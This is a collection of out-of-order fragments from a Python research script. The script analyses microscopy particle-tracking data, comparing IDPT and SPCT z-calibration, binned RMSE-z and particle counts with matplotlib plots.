"= False rmse_compare = False # format plots xylim = 37.25 xyticks =",
"plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close()",
"is currently performed. The z-coords are well aligned enough in both calibration image",
"False save_plots = False show_plots = False if analyze_test_coords: # read test coords",
"column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z))",
"'/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT -",
"CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss =",
"save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close()",
"view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c,",
"= plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin,",
"round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse",
"POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx,",
"dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid =",
"+ '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step",
"dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- 2. SPCT #",
"xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/rmse-z_microns.png')",
"= False plot_calib_spline = False kx, ky = 2, 2 # step 1.",
"method) # step 2. remove outliers # 2.1 get z_in-focus mean + standard",
"calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean + zf_c_std",
"# rmse-z: microns fig, ax = plt.subplots() ax.plot(df3.bin, df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue)",
"curve_fit(functions.line, dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)",
"1. IDPT # read IDPT test coords dft = io.read_test_coords(path_test_coords) # test coords",
"df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z,",
"pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26 20:45:34.334931.xlsx') # 2.2 correct z by mean z_f from",
"False save_plots = False show_plots = False if compare_idpt_spct: # --- 1. IDPT",
"RMSE-Z analyze_test_coords = False save_plots = False show_plots = False if analyze_test_coords: #",
"dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned",
"+ fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5,",
"PER Z_TRUE AND CM dftm = dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index()",
"label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu",
"# 5. IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES PER Z compare_idpt_spct",
"False show_plots = False if analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords)",
"ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$')",
"= dfs_off['z_true'] - z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] -",
"base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt = join(base_dir,",
"\\: (\\#)$') ax.set_ylim([0, 200]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots:",
"pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get z_in-focus mean + standard",
"df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin,",
") df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off =",
"plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS",
"df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks,",
"# read IDPT test coords dft = io.read_test_coords(path_test_coords) # test coords stats mag_eff",
"drop and rename columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr':",
"bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin']",
"ax.set_ylabel(r'$z \\: (\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout()",
"dft in zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR",
"--- rmse_all_particles = False rmse_on_off_bpe = False rmse_compare = False # format plots",
"CALIBRATION IN-FOCUS COORDS # SPCT analysis of images used for IDPT calibration path_spct_calib_coords",
"dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) #",
"#0C5DA5 Green: #00B945 Red: #FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler",
"= dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane",
"= len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) #",
"& (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)]",
"step 2. remove outliers # 2.1 get z_in-focus mean + standard deviation zf_c_mean",
"'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers # 2.1 get z_in-focus",
"# SPCT analysis of images used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords')",
"False if correct_test_coords: use_idpt_zf = False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf:",
"ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms,",
"'-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu",
"(p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j",
"correct from utils import fit, functions, bin, io, plotting, modify, plot_collections from utils.plotting",
"plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D",
"1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True,",
"lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_compare: #",
"area_microns = (512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique())",
"ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)')",
"just ignore. This is not necessarily surprising because the calibration images were acquired",
"if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity",
"[['x', 'y']] into spct pid defocus stats. if merge_spct_stats: # read SPCT calibration",
"CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x,",
"rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z)) print(rmse_fit_line) # binned",
"labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if",
"# rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu",
"m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() #",
"y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c,",
"STEP 0. drop and rename columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft",
"= 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true,",
"= dftg.groupby('z_true').mean().reset_index() dfs_offm = dfs_off.groupby('z_true').mean().reset_index() dfs_onm = dfs_on.groupby('z_true').mean().reset_index() # filter z_true for pretty",
"= join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop =",
"m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---",
"(\\mu m)$') ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots:",
"EDGE, OFF), COMPUTE RMSE-Z AND PLOT for lbl, dft in zip(lbls, [df_on, df_edge,",
"TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf = False use_spct_zf = False",
"# ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity:",
"SPCT # 2.1 read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on =",
"# --- PART B. READ COORDS USED FOR IDPT TEST (i.e. 'calib2') #",
"ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\:",
"merged path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib2_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers",
"round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby 'bin'",
"= 3 min_cm = 0.5 # 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin,",
"df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2], color=sciblue, label=lbls[2])",
"and rename columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z',",
"color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$')",
"dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean # --- 3. GROUPBY Z_TRUE dftg = dft.copy()",
"dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid,",
"as pd from scipy.optimize import curve_fit import filter import analyze from correction import",
"# --- STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z AND",
"- z_f_mean dfs_on['z'] = dfs_on['z'] - z_f_mean dfs_on['z_true'] = dfs_on['z_true'] - z_f_mean #",
"- BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT",
"= join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax = plt.subplots()",
"columns for simplicity dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'})",
"to set their z_f = 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane =",
"= 35 dftc = dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc =",
"imports import os from os.path import join from os import listdir import matplotlib.pyplot",
"filter import analyze from correction import correct from utils import fit, functions, bin,",
"pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2]))) # 1.3 plot binned rmse-z if save_plots",
"= False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme fits a",
"dfrmse.z_true, dfrmse.z) z_fit = np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) /",
"'/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP 2. FOR EACH DATAFRAME (ON,",
"df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/mean-rmse-z_bin=1_no-filters.xlsx') # 1.2 binned rmse-z dfrmse =",
"ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots:",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots:",
"from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] - z_f_mean dfs_off['z_true'] = dfs_off['z_true']",
"df3.rmse_z, '-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z,",
"param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8. export corrected test_coords dft.to_excel(path_results",
"io, plotting, modify, plot_collections from utils.plotting import lighten_color # A note on SciencePlots",
"# --- # --- PART B. READ COORDS USED FOR IDPT TEST (i.e.",
"COMPUTE RMSE-Z AND PLOT for lbl, dft in zip(lbls, [df_on, df_edge, df_off]): #",
"PLOT TEST COORDS RMSE-Z analyze_test_coords = False save_plots = False show_plots = False",
"ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots:",
"ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true}",
"analyze from correction import correct from utils import fit, functions, bin, io, plotting,",
"RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4.",
"sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-',",
"2 # step 1. read calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords,",
"4.1 CORRECT TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf = False use_spct_zf",
"calibration coords and merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats =",
"(dfcpid[param_zf] < zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120] #",
"ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true, dfs_onc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.2), label=r'$SPCT_{High}$') ax.set_xlabel(r'$z \\:",
"z by mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] = dfs_off['z'] -",
"plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES",
"Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss = 1 fig, ax =",
"\\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show()",
"--- PART A. READ COORDS USED FOR IDPT CALIBRATION (i.e. 'calib1') merge_spct_stats =",
"VS. Z_TRUE) FOR EACH DATAFRAME (ON, EDGE, OFF) ss = 1 fig, ax",
"RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # ---",
"dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms, color=lighten_color(scigreen, 1.0), label=r'$SPCT_{Low}$') ax.plot(dfs_onc.z_true,",
"ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange, label=lbls[0]) ax.set_xlabel(r'$z_{true} \\:",
"or show_plots: # close all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS #",
"dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results",
"save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT",
"z_corr column by using fitted spline to correct z dft = correct.correct_z_by_spline(dft, bispl=bispl_c,",
"bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) #",
"mean + std dfrmsem, dfrmsestd = bin.bin_generic(dft, column_to_bin='bin', column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) #",
"= False # format plots xylim = 37.25 xyticks = [-30, -15, 0,",
"join(base_dir, 'average-particle-similarity/' 'average_similarity_SPCT_11.02.21-BPE_Pressure_Deflection_20X_c-calib1_t-calib2.xlsx') dfsim = pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr,",
"ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)')",
"(\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots:",
"SPCT analysis of images used for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus",
"2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf] < zf_c_mean",
"dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z', 'z_true_corr': 'z_true'}) # --- rmse_all_particles = False",
"(512 * microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft =",
"fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches() plt.close(fig) # ---------------------------------------------------------------------------------------------------------------------- # 1.",
"# 3. ANALYSIS - READ FILES method = 'idpt' microns_per_pixel = 0.8 #",
"(i.e. 'calib2') # step 1. merge [['x', 'y']] into spct pid defocus stats.",
"(pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx,",
"use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme fits",
"ax.set_ylim([-xylim, xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png')",
"zip(lbls, [df_on, df_edge, df_off]): # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES",
"ax.scatter(df_off.z_true, df_off.z, s=ss, marker=markers[2], color=sciblue, label=lbls[2]) ax.scatter(df_on.z_true, df_on.z, s=ss, marker=markers[0], color=sciorange, label=lbls[0]) ax.scatter(df_edge.z_true,",
"** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft",
"bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]]",
"ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm, '-o', ms=ms - 1,",
"'z', 'z_true', 'x', 'y', 'cm', 'error']] # step 7. create a z_corr column",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-idpt-spct_num-particles.png') if show_plots: plt.show() plt.close() # --- #",
"the in-focus particle positions and uses this to set their z_f = 0",
"= io.read_test_coords(path_test_coords) # test coords stats mag_eff = 20.0 area_pixels = 512 **",
"dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm,",
"'-o', ms=ms, label=lbls[2], color=sciblue) ax.plot(df2.bin, df2.rmse_z, '-o', ms=ms, label=lbls[1], color=scired) ax.plot(df1.bin, df1.rmse_z, '-o',",
"COORDS USED FOR IDPT TEST (i.e. 'calib2') # step 1. merge [['x', 'y']]",
"2.2 correct z by mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z'] =",
"plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format( lbl, np.round(popt[0], 3), np.round(popt[1], 3)) ) if",
"zf_c_mean + zf_c_std / 2)] dfcpid = dfcpid[dfcpid['x'] > 120] # step 3.",
"show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE NUMBER",
"== bins_x[2]] # --- plotting # --- STEP 1. PLOT CALIBRATION CURVE (Z",
"param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx, ky = 2,",
"ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks,",
"import matplotlib.pyplot as plt # imports import numpy as np import pandas as",
"merge ['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid =",
"'/test_coords_corrected_t-calib2_c-calib1.xlsx', index=False) elif use_spct_zf: \"\"\" NOTE: No correction is currently performed. The z-coords",
"plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/calibration-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index',",
"axr.plot(df3.bin, df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin,",
"path_test_coords = join(path_idpt, 'coords/test-coords') path_calib_coords = join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results",
"BASE DIRECTORY base_dir = '/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/' # ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt",
"= True plot_test_plane = True kx, ky = 2, 2 # step 1.",
"ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0,",
